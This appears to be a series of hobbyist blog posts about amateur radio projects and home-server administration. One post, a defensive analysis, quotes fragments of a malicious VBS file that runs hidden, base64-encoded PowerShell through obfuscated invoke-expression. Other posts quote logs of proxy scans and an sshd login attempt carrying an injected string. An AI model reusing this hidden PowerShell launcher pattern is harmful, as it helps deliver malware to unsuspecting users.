The first work on the balun case was placing the SO239 socket. This included drilling a hole in the case of the right size and at the right position. Figuring out where to put it was mostly influenced by the fact that the ferrite core has to be placed inside the case and I wanted the SO239 socket, the ferrite core and the output terminals not all jammed together. So the SO239 socket was not going to be in the center. For this my new caliper was a useful tool and I measured the inside size and the wanted location of the socket. And I figured out I could drill a 16mm hole and the SO239 socket would fit inside while leaving enough room for the mounting flange.

Holes were drilled and things worked out fine, so the SO239 socket is now mounted. After checking the future location I realized I will have to mount the balun with the SO239 socket facing downwards because the antenna cable is quite heavy. This has to be taken into account with the next steps.

Other parts of this project:

• Building my own balun, part 1: idea and parts needed
• Building my own balun, part 2: measuring the 'old' balun
• Building my own balun, part 4: Deciding on where to put dipole ends and finishing it
• Building my own balun, part 5: First tests of the result
• Building my own balun, part 6: Redo and some success: a working antenna again

Fritzel balun SWR scan 1-60 MHz 20180325

Fritzel balun SWR scan 10 meter band 20180325

Fritzel balun SWR scan 20 meter band 20180325

Since I want to replace a balun that has been up there for ages I want to be able to compare the two. So I used the antenna analyzer to get graphs of the SWR over the whole possible range (1-60 MHz) and on the amateur bands it was built for: the 10 meter band and the 20 meter band.

There was a very interesting difference with the earlier results on the 10 meter band when I first tested the SARK100 antenna analyzer from Linux. The 10 meter band dipole probably moved a bit or something else changed.

I have now tried FT8 on the 2 meter band several times. One time I received a message via FT8 to try it on the 70cm band too but I haven't figured out the right frequency on that band yet.

DX contacts have been made into England, France and Germany. Furthest 2 meter contact at the moment is 323 kilometers. From the doppler shift I see the most probably reason for these distances is aircraft scatter, which means I'm using big metal reflectors in the sky to bounce my signal, without even paying for an airplane ticket.

I'm looking forward to 'E-skip' and other phenomena that can make 2 meter radio signals reach larger distances. I wonder what that will bring me.

The different radio bands also have quite different properties. The HF bands below 30 MHz have ionospheric refraction which lets the signal return to earth in far away places. The VHF bands (30-300 MHz) are usually only line of sight, signals usually will not get beyond the horizon.

Recently I saw mention of the FT8 mode on the 2 meter band. Specifically here: Essex 2M Activity Day Update - Essex Ham and VHF FT8 - M1AVV.

This inspired me to give it a try myself. It took a bit of searching to find the right frequency for FT8 on 2 meter. I found out it's 144.178 MHz so I started trying there and soon made my first contacts with Dutch amateurs at reasonable distances. But from time to time I saw signals from further away than was possible, for example England and France. My best guess is that aircrafts reflect the signals. I also saw doppler shift in signals which confirms aircraft reflections.

After a few tries I was able to make my first contacts at nice distances in the Netherlands.

I was considering hanging a dipole antenna outside. This would need a balun and I realized that I have a good outdoor-capable balun hanging in the attic. It's a Fritzel 1005 1:1 current balun which is good up to 300 watts power.

I am not going to use 300 watts under the roof close to other equipment and the balun there does not need to be rain proof. So the idea was born to build a smaller balun for use under the roof and have the Fritzel balun available for outdoor use.

And last Saturday was a hamfest (radio onderdelenmarkt Rosmalen) so I had an idea of things I wanted for this project.

Parts needed for a current balun:

• A ferrite core with the right specifications
• Wire with enamel coating
• An SO239 socket
• Terminals for connecting the dipole wires
• A case

The various collections of electronics parts only missed the SO239 socket and a case. Those were found at the hamfest for a nice price.

The choice of design is a current balun or a voltage balun. I had to do some searching to find a good comparison between the two, and DX engineering has one at Baluns: Choosing the Correct Balun - DX Engineering which has:

Current baluns, rather than voltage baluns, should be used whenever possible. Current baluns provide better balance and often have lower loss. Current baluns, especially 1:1 ratio baluns, tolerate load impedance and balance variations much better than voltage baluns.

Some searches found good explanations of building your own baluns, I found a very clear explanation at VK6YSF project page.

So I'm building a current balun, and when it's finished enough to test it I will measure how it is doing. I have the tools like the SARK100 antenna analyzer that I can control from Linux and a dummy load so I can check everything.

Het gaat rustig door, ruim 5 jaar sinds de eerste spam die te herleiden was tot een belgische lijst. Ook vandaag, dit keer spam voor Desvo veilingen die blijkbaar ook dezelfde spamlijst gekocht hebben.

Tot nu toe was alle spam die ik dacht te herleiden naar deze bron nederlands / vlaams. Gericht op inkopers bij bedrijven. Maar nu eentje in het frans, maar uiteindelijk te herleiden tot Fruit at work die tweetalig werkt. En later op dezelfde dag Neopost weer gewoon in het nederlands maar volgens de mail ook via "B2Best Belgique" die op het web niet terug te vinden is.

Eerder, eerder, eerder, eerder, eerder.

I noticed the access_log for various websites being tested on the new homeserver all had the IPv6 address of the haproxy I configured in the logs and not the original IP address.

The fun bit is I have set up the right Apache mod_remoteip settings, RemoteIPHeader and RemoteIPInternalProxy and this was tested and working with Require ip rules. But it turns out the default logging formats use the %h logging variable which is not changed by mod_remoteip. Since I want IPv6/IPv4 addresses in the logs that can be resolved later I changed to the %a variable which is the Client IP address which can be changed by mod_remoteip.

Changed options:

LogFormat "%a %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%a %l %u %t \"%r\" %>s %O" common
LogFormat "%a %{HOST}i %l %u %t \"%r\" %s %b %{User-agent}i %{Referer}i -> %U" vcommon

It seems any open port can be tried as an open webproxy. An open webproxy is interesting for hiding tracks or getting around restrictions. But some of the scans are getting stupid. There are still a lot of other tcp-based services, not everything is HTTP.

From recent logs:

Mar 14 13:46:42 greenblatt nnrpd[20297]: 185.100.87.248 unrecognized GET / HTTP/1.0                                                                             
Mar 14 13:46:47 greenblatt nnrpd[20299]: 185.100.87.248 unrecognized OPTIONS / HTTP/1.0                                                                         
Mar 14 13:46:52 greenblatt nnrpd[20301]: 185.100.87.248 unrecognized OPTIONS / RTSP/1.0                                                                         

And this gem of distributed scanning:

Mar  8 08:45:00 greenblatt sm-mta[6355]: w287j0dE006355: 78.84.202.1.static.bjtelecom.net: probable open proxy: command=GET http://www.boxun.com/ HTTP/1.1\r\n
Mar  8 08:45:00 greenblatt sm-mta[6359]: w287j0V0006359: [14.204.118.100]: probable open proxy: command=GET http://www.minghui.org/ HTTP/1.1\r\n
Mar  8 08:45:00 greenblatt sm-mta[6360]: w287j0lM006360: [14.204.94.84]: probable open proxy: command=GET http://www.rfa.org/ HTTP/1.1\r\n
Mar  8 08:45:04 greenblatt sm-mta[6353]: w287j4lq006353: [110.177.75.38]: probable open proxy: command=GET http://www.baidu.com/ HTTP/1.1\r\n
Mar  8 08:45:04 greenblatt sm-mta[6356]: w287j4io006356: [101.249.104.160]: probable open proxy: command=GET http://www.bing.com/ HTTP/1.1\r\n
Mar  8 08:45:04 greenblatt sm-mta[6357]: w287j4h0006357: [119.118.16.42]: probable open proxy: command=GET http://wujieliulan.com/ HTTP/1.1\r\n
Mar  8 08:45:05 greenblatt sm-mta[6358]: w287j5pu006358: [112.66.106.4]: probable open proxy: command=CONNECT www.voanews.com:443 HTTP/1.0\r\n
Mar  8 08:45:05 greenblatt sm-mta[6354]: w287j5bt006354: 36.49.239.221.broad.tj.tj.dynamic.163data.com.cn [221.239.49.36] (may be forged): probable open proxy: command=GET http://www.123cha.com/ HTTP/1.1\r\n

Interesting timing and coordination on this one, looks like some form of central control was involved.

As planned I participated in the EA PSK63 contest 2018 last weekend. As this contest starts at 16:00 UTC and not the usual 12:00 UTC I decided to again try my luck as single operator on the 40 meter band only (SO 40 DX for this contest).

Contacts were made Saturday evening and Sunday morning and afternoon. Sunday at 12:45 UTC I gave up on finding any new callsigns on the 40 meter band and decided to switch to the 20 meter band. Conditions were not very good and I think I made some errors copying serial numbers or on the decision whether to count a contact as valid. And at least two calls had me in their log but my log was not convinced we made a contact around that time.

In the end I made 125 contacts, 79 on the 40 meter band and 46 on the 20 meter band. Looking at the results of previous years I thought I would end up with a higher ranking with the 79 contacts on the 40 meter band only so I entered in that category. The 20 meter contacts will only count as checking for the other participants.

The one that got away: I saw an amateur from Thailand call CQ but my answer did not make it back there.

A nice contest. I was able to practice fast contacts a bit even in difficult conditions. As usual with all contests I also uploaded my score to the Veron Afdelingscompetitie where our local chapter A08 is doing ok.

In some files I noticed a vbs file where I expected something else. Vbs sounds like visual basic script so I directly started looking for malware. And indeed I saw suspicous code, with a for me new type of obfuscation.

The vbs has one really long line, beginning with:

CreateObject("Wscript.Shell").Run("powershell -w hidden -ep bypass -enc aQBuAHYA
bwBrAGUALQBlAHgAcAByAGUAcwBzAGkAbwBuACgAIgB7ADQAOAB9AHsAMQAyAH0AewAyADgAfQB7ADEA
MAAzAH0AewAyADEAfQB7ADkAfQB7ADEAMAA2AH0AewA3ADAAfQB7ADIAOAB9AHsAOAB9AHsAMAB9AHsA

and at the end:

IgByACIALAAiAGsAIgAsACIAYQAiACwAIgAgACIALAAiAHYAIgAsACIAZwAiACwAIgBzACIALAAiAGUA
IgAsACIAbgAiACwAIgArACIALAAiAHQAIgAsACIAcgAiACwAIgAiACwAIgB0ACIALAAiAHAAIgAsACIA
ZQAiACwAIgBlACIALAAiAC8AIgAsACIAZQAiACwAIgBTACIAKQA=")

Which looked very base64-like to me. But standard tools could not find out what it was:

$ base64 -d < base64part | file -
/dev/stdin: data

But with a second look I could make out something:

$ base64 -d < base64part | xxd | less
0000000: 6900 6e00 7600 6f00 6b00 6500 2d00 6500  i.n.v.o.k.e.-.e.
0000010: 7800 7000 7200 6500 7300 7300 6900 6f00  x.p.r.e.s.s.i.o.
0000020: 6e00 2800 2200 7b00 3400 3800 7d00 7b00  n.(.".{.4.8.}.{.
0000030: 3100 3200 7d00 7b00 3200 3800 7d00 7b00  1.2.}.{.2.8.}.{.
0000040: 3100 3000 3300 7d00 7b00 3200 3100 7d00  1.0.3.}.{.2.1.}.
0000050: 7b00 3900 7d00 7b00 3100 3000 3600 7d00  {.9.}.{.1.0.6.}.
0000060: 7b00 3700 3000 7d00 7b00 3200 3800 7d00  {.7.0.}.{.2.8.}.
0000070: 7b00 3800 7d00 7b00 3000 7d00 7b00 3200  {.8.}.{.0.}.{.2.
0000080: 7d00 7b00 3400 3100 7d00 7b00 3100 3100  }.{.4.1.}.{.1.1.
0000090: 3300 7d00 7b00 3600 3600 7d00 7b00 3000  3.}.{.6.6.}.{.0.

Suddenly there is UTF-16 powershell code. Or when I simply cat it to a terminal:

invoke-expression("{48}{12}{28}{103}{21}{9}{106}{70}{28}{8}{0}{2}{41}{113}{66}
[..]
-f "t","2"," ",".","i","f","C","'","c","o","2",")","n","n","0","c","'","/",

It looks like some kind of array mapping, but I have no idea how to decode this into readable code to check what it does. I am quite sure it can't be up to any good if I keep finding levels of obfuscation!

Last week we were staying in a holiday home in the Ardennen area in Belgium. Temperatures were constantly below zero which can make my fibermast break easily according to the instructions. I also forgot to bring a side cutter so setting up the fibermast with the rubber profile at every level would be hard to take down again. This made it a bad idea to leave it up overnight.

Due to the cold and me having a serious cold as well it took a few days before I got around to a bit of amateur radio. When I got around to setting up the mast it went reasonably well. The ground was frozen so I needed a hammer to get the pegs into the ground for the guy wires. The foot of the fibermast decided to slip away and the tip fell against a wall, but no damage.

When the mast was up and the dipole hanging the local RF noise turned to be at the same S8 level I am used to at home and it was very hard to make a contact. I tried 40 meter FT8 with transmit power dialed back to 25 watt since the radio itself started showing signs of RF interference. One partial contact was made (no full exchange of signal reports).

And then I noticed gardeners working on pruning bushes everywhere and working in my direction so I disassembled the mast again and took all the parts back in.

For next time I may find some plate to anchor the foot of the fibermast so it can't slip away. Maybe a plate with a big hole in it for the mast and two small holes for tent pegs.

This year I am planning to participate again in the EA PSK63 contest edition 2018. Although the weekend is not completely free there will be time to get as many spanish stations and others in the log as possible.

Time to find out if I can improve my score from participating in the EA PSK63 contest in 2016.

I recently noticed the network traffic statistics weren't updated correctly for the LAN interface of my Draytek Vigor 130 modem. These statistics were extracted using code that I originally started using at the computer science systems group somewhere in the previous decade. It's all Perl Net::SNMP and not very efficient. I don't know if I wrote it myself or copied from somewhere else, I do know a new bug was introduced.

To understand the code it is important to realize that interface index numbers in SNMP are dynamic. Across a reboot a certain number can change. Interface names are static, but those are never used directly in SNMP.

So to get from a static interface name to a dynamic interface index the interfaces.2.1.2 subtree (ifDescr) has to be fetched from the device and checked for the right names. To get the interface index from an snmp object identifier I used to use this bit of code:

# find the current interface indices for the wanted ^ interfaces
foreach my $oid (oid_lex_sort(keys(%table))) {
    if (oid_base_match($ifTable_ifDesc,$oid)){
#        printf("%s => %s\n", $oid, $table{$oid});
        if (defined $wantstuff{$table{$oid}}){
            $wantstuff{$table{$oid}}{ifindex}=substr($oid,1+rindex($oid,'.'));
            # I am lazy. I fill a hash with the interface indices so I can
            # use it for lookups
            $findvlan{substr($oid,1+rindex($oid,'.'))}=$table{$oid};
        #    printf "Found ifindex %d for %s\n",$wantstuff{$table{$oid}}{ifindex},$table{$oid};
        }
    }
}

But note how the current ifDesc subtree is from the modem:

IF-MIB::ifDescr.1 = STRING: LAN
IF-MIB::ifDescr.4 = STRING: VDSL
IF-MIB::ifDescr.5 = STRING: Resrved
IF-MIB::ifDescr.6 = STRING: 
IF-MIB::ifDescr.7 = STRING: 
IF-MIB::ifDescr.8 = STRING: 
IF-MIB::ifDescr.20.101.1 = STRING: WAN1
IF-MIB::ifDescr.21.101.1 = STRING: WAN2
IF-MIB::ifDescr.22.101.1 = STRING: LAN_PORT1

Using that rindex function there are 4 instances of index 1. Which caused the very similar code looking for the ifInOctets, ifOutOctets and other counters to overwrite the result for index 1 with those from WAN1, WAN2 and LAN_PORT1.

So that code is now improved, no more rindex but a well-defined use of length:

# find the current interface indices for the wanted ^ interfaces
foreach my $oid (oid_lex_sort(keys(%table))) {
    if (oid_base_match($ifTable_ifDesc,$oid)){
        #printf("%s => %s\n", $oid, $table{$oid});
        if (defined $wantstuff{$table{$oid}}){
                        my $intindex=substr($oid,length($ifTable_ifDesc)+1);
                        #printf "Submatch found ifindex %d for %s\n",$intindex,$table{$oid};
            $wantstuff{$table{$oid}}{ifindex}=$intindex;
            # I am lazy. I fill a hash with the interface indices so I can
            # use it for lookups
            $findvlan{$intindex}=$table{$oid};
            #printf "Found ifindex %d for %s\n",$wantstuff{$table{$oid}}{ifindex},$table{$oid};
        }
    }
}

This evening another two new countries in my amateur radio log: Lebanon and Gibraltar. First OD5ZF from Lebanon and 4 minutes later ZB3M from Gibraltar. That makes three pairs in two months.

These two were both in FT8 mode on the 40 meter band. FT8 is very good at fast contacts at low received signal levels.

On 8 and 9 February last week I attended the Surf Security and Privacy conference. SURFcert, the incident response team of SURF, had its own 'side event' within this conference, an escape room. Since the members of SURFcert like to visit escape rooms themselves, the idea was to build our own escape room. A simple one as teams of 2 or 3 people had to solve it within 15 minutes. The best scores were indeed just over 5 minutes so it was doable.

The escape room clock

The theme of this escape room was the trip Snowden made: from the US to Hongkong to Moscow. Each location had a puzzle and like Snowden the only thing you could take to the next location was knowledge. In this case a 4-digit code to open a lock. Someone else in the SURFcert team did most of the hardware work and I decided to dive into some programming to support this effort. The escape room needed a countdown clock that could only be stopped by the right code. My idea was to use a barcode scanner to link the stop action to scanning the barcode on an object.

So I installed a Raspberry Pi with a raspbian desktop and found out how to set up the autorun on the Pi so my program would be started at startup when the user 'pi' logs in automatically. This was done by starting it from ~/.config/lxsession/LXDE-pi/autorun.

The program I wrote had three inputs:

• A reset switch connected to GPIO pin 11 and ground
• A start button connected to GPIO pin 03 and ground
• Entering the right barcode to stop the time. In the end this was the barcode of a real Russian bottle of vodka, so my program needed vodka as input

For the barcodes I used an usb barcode scanner I have lying around. It behaves like a usb keyboard so scanning a barcode will cause the code to be entered as keystrokes with an enter key at the end,

But all programming I do is sequential. This is different, I needed to write an event-based program. It needs to react to time events, enter events and needs to check the state of gpio bits on time events. And on certain events it needs to change the global state (reset, running, stopped). The last time I did any event-based programming was an irc-bot written in Perl 4.

So with a lot of google searches, copypasting bits of code, searching a lot for which input bits would be default high and go low when connected to earth and a lot of trying I wrote a program. It uses WxPerl to have a graphical interface and use events. I'm not saying its a good program, but it did the job.

Notable things:

• The OnInit function sets up everything: a window with minimal decorations, tries to set it full-screen, a text box that will show the time and starts at 15:00 as static text. A handler for time events that will be called 10 times per second. And an input box and a handler for when the enter key is pressed.
• The onTimer function that looks at global state and decides which inputs are valid in that state and handles them
• The onenter function that calculates a sha256 hash of the input line and checks which inputs can change the global state. The hash was to make sure that someone who could have a look at the source still had no idea what the commands were to control it all via keyboard. And no keyboard was connected anyway. The input for a shutdown is the barcode from one of the loyalty cards I carry around.

Two new countries in the PE4KH log: Oman and India. Oman was Friday afternoon when I was home early and decided to turn the dial over the 40 meter band to make some phone contacts and heard A41CK call. Who took my call on the second try!

India was late Friday evening. The call VU2NKS showed up in FT8 and it had a direct pile-up (lots of people answering). But with some persistance from my side and good operating skills from the other side the contact was made.

And this weekend was the Russian Worldwide PSK Contest so I participated Saturday afternoon / evening and a bit Sunday right before 12:00 UTC. I managed to start Saturday 12:00 UTC sharp calling CQ. Which worked at that time for getting contacts. I chose the 40 meter band category because I expected most radio time this weekend would be after sunset.

In the end I made 64 contacts. Not a very high score, but I had times were several contacts happened in short succession so I am improving in digimode contesting.

Band  QSOs Dupes Points Mults
160      0     0      0     0
80       0     0      0     0
40      64     0    388    28
20       0     0      0     0
15       0     0      0     0
10       0     0      0     0
======================================
Total   64     0    388    28
Claimed score is 10864 points

After the end of January I decided to plot the number of contacts again. January is a busy month with two contests for me but I did not make a lot of contacts outside of those contests this year. I added contacts from holidays and the PE4KH/P activities to the total count.

Some more work on the plot script, I think bars look better than a line graph. But you could spend hours in gnuplot making the plot just right...

The new script:

set output "qslcount.png"
set terminal png size 640,300 fontscale 0.7
set timefmt "%Y-%m"
set xlabel "Month"
set ylabel "Number of contacts"
set xdata time
set style fill solid
set xtics format "%b %Y"
set xtics rotate
set grid
set boxwidth 0.75 relative
set autoscale xfixmin
set autoscale xfixmax
plot "dataset-qsocount" using 1:2 title "Contacts/Month" with boxes

Update: And indeed the change in x autoscale was one bit more 'just right'. The first graph was in February 2017: Rising number of amateur radio contacts.

In the sshd logging today:

sshd[26961]: Invalid user <!-- from 103.9.88.249

But the logging is parsed via software that doesn't trust input either, so the rest is in the report too. Including more attempts from that IPv4 address.

Iedere maand verschijnt er een Electron van 50 jaar geleden op Electron 50 jaar geleden en daar kijk ik graag even in, om het 'nieuws' op amateurradio gebied van 50 jaar geleden te zien. In die van Februari 1958 viel me een stukje op onder het kopje "Televisie" met:

Voor onze lezers is het wellicht interresant, te weten dat Philips op Maandag het normale TV-programma relayeert in band V: beelddraaggolf 772,25 MHz, geluidsdraaggolf 777,75 MHz. Amateurexperimenten in deze band zijn van veel belang, want ondanks de ontvangstmoeilijkheden, die er nog zijn, kon het toch wel eens dé TV-band van de toekomst blijken te zijn. Een voordeel van deze band is natuurlijk in de eerste plaats het grote aantal beschikbare kanalen - de band loopt van 610-960 MHz! -. De commerciële televisie, die in ons land ook nog eens op gang hoopt te komen, vlast natuurlijk op een aantal kanalen in die band. Een ander voordeel is, dat de antennes zo klein kunnen zijn, hetgeen het stedenschoon ten goede zal komen.

Ondertussen is analoge TV opgekomen in de UHF band en weer gestaakt. Opvallend is voor mij ook dat de genoemde draaggolf frequenties niet uitgekomen zijn op latere UHF kanalen. De afstand van 5 MHz tussen de audio en video draaggolf klopt wel met de analoge TV op UHF standaarden van later.

Commerciële TV via de analoge etherkanalen is er nooit gekomen, dat is heel lang tegen gehouden en later via kabel/satelliet opgekomen en pas bij de digitalisering kwam er ruimte voor digitale TV via de ether. Het deel van de UHF band gereserveerd voor TV-kanalen is ook gekrompen, ondertussen zijn we aan het werken naar een einde bij 700 MHz.

Mooi om zo'n voorspelling te zien en te vergelijken met de huidige realiteit.

Normally being active on certain HF bands causes one-time VDSL disconnects but what I have currently done seems to have triggered something else. After the connection dropped it refuses to come back at the moment. The entire session looks like:

22:49:28.466922 PPPoE PADI [Service-Name]
22:49:28.490394 PPPoE PADO [AC-Name "dr12.d12"] [Service-Name] [AC-Cookie 0xA3FE109A222CE73945C23FCE85E03F83] [EOL]
22:49:28.490603 PPPoE PADR [Service-Name] [AC-Cookie 0xA3FE109A222CE73945C23FCE85E03F83]
22:49:28.517063 PPPoE PADS [ses 0x40c] [Service-Name] [AC-Name "dr12.d12"] [AC-Cookie 0xA3FE109A222CE73945C23FCE85E03F83] [EOL]
22:49:28.575266 PPPoE  [ses 0x40c] LCP, Conf-Request (0x01), id 72, length 16
22:49:28.575776 PPPoE  [ses 0x40c] LCP, Conf-Request (0x01), id 99, length 22
22:49:28.575798 PPPoE  [ses 0x40c] LCP, Conf-Reject (0x04), id 72, length 10
22:49:28.589161 PPPoE  [ses 0x40c] LCP, Conf-Ack (0x02), id 99, length 22
22:49:28.589164 PPPoE  [ses 0x40c] LCP, Conf-Request (0x01), id 73, length 12
22:49:28.589666 PPPoE  [ses 0x40c] LCP, Conf-Ack (0x02), id 73, length 12
22:49:28.589682 PPPoE  [ses 0x40c] LCP, Echo-Request (0x09), id 0, length 10
22:49:28.589693 PPPoE  [ses 0x40c] CCP, Conf-Request (0x01), id 89, length 17
22:49:28.589702 PPPoE  [ses 0x40c] IPCP, Conf-Request (0x01), id 89, length 18
22:49:28.589711 PPPoE  [ses 0x40c] IP6CP, Conf-Request (0x01), id 89, length 16
22:49:28.603265 PPPoE  [ses 0x40c] LCP, Echo-Reply (0x0a), id 0, length 10
22:49:28.603267 PPPoE  [ses 0x40c] LCP, Term-Request (0x05), id 74, length 6
22:49:28.604033 PPPoE  [ses 0x40c] LCP, Term-Ack (0x06), id 74, length 6
22:49:31.623454 PPPoE PADT [ses 0x40c] [Generic-Error "RP-PPPoE: System call error: Input/output error"] [AC-Cookie 0xA3FE109A222CE73945C23FCE85E03F83]

So in the end the router at my ISP decides to terminate the connection. On the connection failing I decided to change the configuration to use the kernel mode pppoe driver but after this started showing I reverted that change. Which made no difference, the connection is still not coming up.

Update: I went looking at other changes I made to enable the pppoe server test and reverting the /etc/ppp/pap-secrets file to its original format fixed the problem. I guess I somehow started to authenticate the remote end.

And changing from user-mode pppoe to kernel-mode pppoe does lower the MTU to 1492, so that test is also finished. Back to user-mode pppoe.

The new homeserver will have to run the same pppoe client setup as the current server. But I want to get the whole setup tested before the migration to minimize disruption.

Since I'm not going to get a free extra vdsl line and vdsl modem to test with and the complicated part is in the pppoe and ppp client part I decided to use a test vlan and set up a pppoe-server and ppp server on that vlan.

The pppoe server part is started with

# pppoe-server -I eth0.99 -C kzdoos -L 172.16.19.1 -R 172.16.21.19

And it's indeed available from the client:

# pppoe-discovery -I eth2
Access-Concentrator: kzdoos
Got a cookie: 84 39 c6 51 13 fe 32 00 2c 06 2a b4 38 0e 30 87 46 7b 00 00
--------------------------------------------------
AC-Ethernet-Address: 00:1f:c6:59:76:f6

So that part works. Next is to get an actual ppp session working over it.

The server part was a bit of work as I want to get the whole configuration including password checks. Server configuration in /etc/ppp/pppoe-server-options on the server system:

require-pap
lcp-echo-interval 10
lcp-echo-failure 2
hide-password
noipx
ipv6 ,

And the client configuration in /etc/ppp/peers/dray-vdsl:

user testkees
password topsecret
+pap
noauth
noipdefault
ipv6 ,
ipv6cp-use-persistent
defaultroute
persist
maxfail 0
noproxyarp
ipparam xs4all
lcp-echo-interval 10
lcp-echo-failure 6
pty "pppoe -I eth2"

Lots of options to make the setup exactly the same as the current. It took a lot of tries before password authentication was working. I could not get the client-side password in /etc/ppp/pap-secrets to work, but as show above the password in the ppp configuration did work.

And the setup in /etc/network/interfaces on the client just the same as the known configuration:

iface pppdray inet ppp
        provider dray-vdsl

And it works!

# ifup pppdray
Plugin rp-pppoe.so loaded.
# ifconfig ppp0
ppp0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST>  mtu 1492
        inet 172.16.21.45  netmask 255.255.255.255  destination 172.16.19.1
        inet6 fe80::5254:ff:fe3c:2014  prefixlen 10  scopeid 0x20<link>
        ppp  txqueuelen 3  (Point-to-Point Protocol)
        RX packets 9  bytes 252 (252.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 9  bytes 202 (202.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
# ping -c 3 172.16.19.1
PING 172.16.19.1 (172.16.19.1) 56(84) bytes of data.
64 bytes from 172.16.19.1: icmp_seq=1 ttl=64 time=0.721 ms
64 bytes from 172.16.19.1: icmp_seq=2 ttl=64 time=0.436 ms
64 bytes from 172.16.19.1: icmp_seq=3 ttl=64 time=0.449 ms

--- 172.16.19.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2029ms
rtt min/avg/max/mdev = 0.436/0.535/0.721/0.132 ms

The mtu is not yet what I want, but the session is alive.

I was setting up a linux based firewall on a busy ntp server and to make sure everything worked as designed I added the usual:

iptables -A INPUT -j ACCEPT --protocol all -m state --state ESTABLISHED,RELATED

And after less than half an hour the system log started filling with

nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet

It is indeed a busy server. The solution is to exclude all the ntp traffic from the stateful firewall. Which means I have to allow all kinds of ntp traffic (outgoing and incoming) by itself.

The specific ruleset:

iptables -t raw -A PREROUTING --protocol udp --dport 123 -j NOTRACK
iptables -t raw -A OUTPUT --protocol udp --sport 123 -j NOTRACK

iptables -A INPUT -j ACCEPT --protocol udp --destination-port 123

I also made sure the rules for the ntp traffic are the first rules.

Traffic at this server is somewhat over 1000 ntp request per second. So the counters of the NOTRACK rules go fast.

# iptables -t raw -L -v
Chain PREROUTING (policy ACCEPT 1652K packets, 126M bytes)
 pkts bytes target     prot opt in     out     source               destination 
9635K  732M CT         udp  --  any    any     anywhere             anywhere             udp dpt:ntp NOTRACK
1650K  125M CT         udp  --  any    any     anywhere             anywhere             udp dpt:ntp NOTRACK

Chain OUTPUT (policy ACCEPT 1522K packets, 117M bytes)
 pkts bytes target     prot opt in     out     source               destination 
9029K  686M CT         udp  --  any    any     anywhere             anywhere             udp spt:ntp NOTRACK
1520K  116M CT         udp  --  any    any     anywhere             anywhere             udp spt:ntp NOTRACK

But no packets are dropped, which is good as this server is supposed to be under a constant DDoS.

I noticed today one of the ntp servers I manage has been collecting ages of ntpd mode 7 probes without ever responding. But it makes a nice overview of probing IPv4 addresses:

remote address          port local address      count m ver rstr avgint  lstint
===============================================================================
184.105.139.82          1714 xxx.xxx.xxx.xxx        3 7 2      1 3413098   40058
184.105.139.72         14152 xxx.xxx.xxx.xxx        7 6 2      1 1107023   60553
185.165.29.145         33482 xxx.xxx.xxx.xxx        9 7 2      1 647886   73704
91.200.12.126          47493 xxx.xxx.xxx.xxx        2 7 2      1  12199   78678
185.94.111.1           33066 xxx.xxx.xxx.xxx       44 7 2      1 139771   83493
212.237.45.33          39353 xxx.xxx.xxx.xxx        1 7 2      1      0   84058
184.105.139.122        16124 xxx.xxx.xxx.xxx        4 7 2      1 1830407  127241
165.227.44.214         36749 xxx.xxx.xxx.xxx        1 7 2      1      0  138342
185.82.203.150         38141 xxx.xxx.xxx.xxx       12 7 2      1 147806  143793
185.2.81.90            33119 xxx.xxx.xxx.xxx        6 7 2      1 199742  180842
184.105.139.110        57630 xxx.xxx.xxx.xxx        6 7 2      1 968029  223794
77.87.79.97            34540 xxx.xxx.xxx.xxx        2 7 2      1  31910  251316
184.105.139.102        50130 xxx.xxx.xxx.xxx        3 7 2      1 2950157  308291
185.55.218.227         33716 xxx.xxx.xxx.xxx        2 7 2      1 853413  311971
104.243.41.54          30820 xxx.xxx.xxx.xxx        2 7 2      1 3258925  334017
123.249.27.176         35963 xxx.xxx.xxx.xxx        7 7 2      1 452131  339518
191.96.249.173         42895 xxx.xxx.xxx.xxx       10 7 2      1 692139  348753
71.194.80.50           51096 xxx.xxx.xxx.xxx        2 7 2      1  74579  392665
184.105.139.126        38393 xxx.xxx.xxx.xxx        2 7 2      1 3535530  394349
185.55.218.250         48871 xxx.xxx.xxx.xxx        2 7 2      1 537671  411921
184.105.139.86         34651 xxx.xxx.xxx.xxx        5 7 2      1 1361673  478157
123.249.24.175         37973 xxx.xxx.xxx.xxx        6 7 2      1 476469  502270
184.105.139.98         21269 xxx.xxx.xxx.xxx       10 7 2      1 718112  567076
184.105.139.70         38190 xxx.xxx.xxx.xxx        6 7 2      1 1107237  649625
66.55.135.62           54536 xxx.xxx.xxx.xxx        8 7 2      1  40836  721372
138.197.130.148        39857 xxx.xxx.xxx.xxx        2 7 2      1 415601  788308
191.96.249.113         36079 xxx.xxx.xxx.xxx        2 7 2      1 1501700  862267
184.105.139.78         37702 xxx.xxx.xxx.xxx        4 7 2      1 1637431  908028
159.89.47.224          47766 xxx.xxx.xxx.xxx        5 7 2      1 361160  913255
162.209.168.12         39122 xxx.xxx.xxx.xxx        2 7 2      1 109901  976174
123.249.26.159         34990 xxx.xxx.xxx.xxx       41 7 2      1  88999 1045070
184.105.139.74         38666 xxx.xxx.xxx.xxx        6 7 2      1 822261 1079624
185.55.218.242         54815 xxx.xxx.xxx.xxx        7 7 2      1  89032 1102095
191.96.249.12          48406 xxx.xxx.xxx.xxx        4 7 2      1 1133779 1198815
101.100.146.139        39660 xxx.xxx.xxx.xxx        3 7 2      1 1951322 1244586
209.250.238.186        39459 xxx.xxx.xxx.xxx        2 7 2      1  53072 1252190
119.1.109.85           51099 xxx.xxx.xxx.xxx       10 7 2      1 223881 1325320
184.105.139.118        34319 xxx.xxx.xxx.xxx        4 7 2      1 905995 1339133
184.105.139.106        15081 xxx.xxx.xxx.xxx        2 7 2      1 2932231 1430316
191.96.249.131         35972 xxx.xxx.xxx.xxx        2 7 2      1 1499287 1491171
185.55.218.237         43409 xxx.xxx.xxx.xxx        2 7 2      1 4255207 1497992
185.55.218.236         55927 xxx.xxx.xxx.xxx        3 7 2      1 1566148 1718947
138.68.247.41          41914 xxx.xxx.xxx.xxx        2 7 2      1  53524 1936953
184.105.139.94         41523 xxx.xxx.xxx.xxx        5 7 2      1 1112720 1948506
45.63.27.150           40862 xxx.xxx.xxx.xxx        2 7 2      1 1676933 1991259
185.188.207.13         45915 xxx.xxx.xxx.xxx       20 7 2      1 156321 2041538
